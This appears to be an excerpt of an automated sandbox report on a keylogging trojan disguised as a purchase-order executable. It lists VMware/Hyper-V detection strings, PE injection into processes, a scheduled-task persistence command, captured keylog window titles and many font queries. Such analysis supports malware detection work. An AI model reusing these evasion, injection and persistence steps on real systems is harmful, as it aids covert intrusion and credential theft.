Source: update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q"SOFTWARE\VMware, Inc.\VMware Tools
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232107.exe, 00000021.00000002.521897919.000000000077C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCAM3VHUGWin32_VideoControllerCMSRLUX7VideoController120060621000000.000000-000367.2696display.infMSBDA4D6GEX2EPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsVU4HFGVY
Source: update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: asGTRKuvQ.exe, 00000015.00000002.679172784.0000000008B4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: update_232107.exe, 0000001C.00000002.465898790.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.692515521.0000000001626000.00000004.00000020.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.458453631.00000185BE4C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Memory written: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Memory written: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Memory written: C:\Users\user\AppData\Local\Temp\update_232107.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\itl30nap.yii" "C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe" /C "C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp23A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE {path}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp4EA3.tmp
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Process created: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\asGTRKuvQ" /XML "C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232107.exe {path}

Source: 2023-02-21-07-46-keylogs.txt.20.dr	Binary or memory string: [ Program Manager - 2/21/2023 7:37:06 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000388F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003475000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003459000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:36:58 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000038B4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000388F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:26:26 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000036EF000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000036F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:51:59 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000351F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000034FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:43:34 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003736000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003729000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:55:59 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000369E000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003686000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:51:41 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000344D000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003446000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:34:09 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000037CB000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:21:31 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035EA000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:47:59 AM ]
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003475000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000351F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager(@
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003825000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000382A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/21/2023 8:24:51 AM ]

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
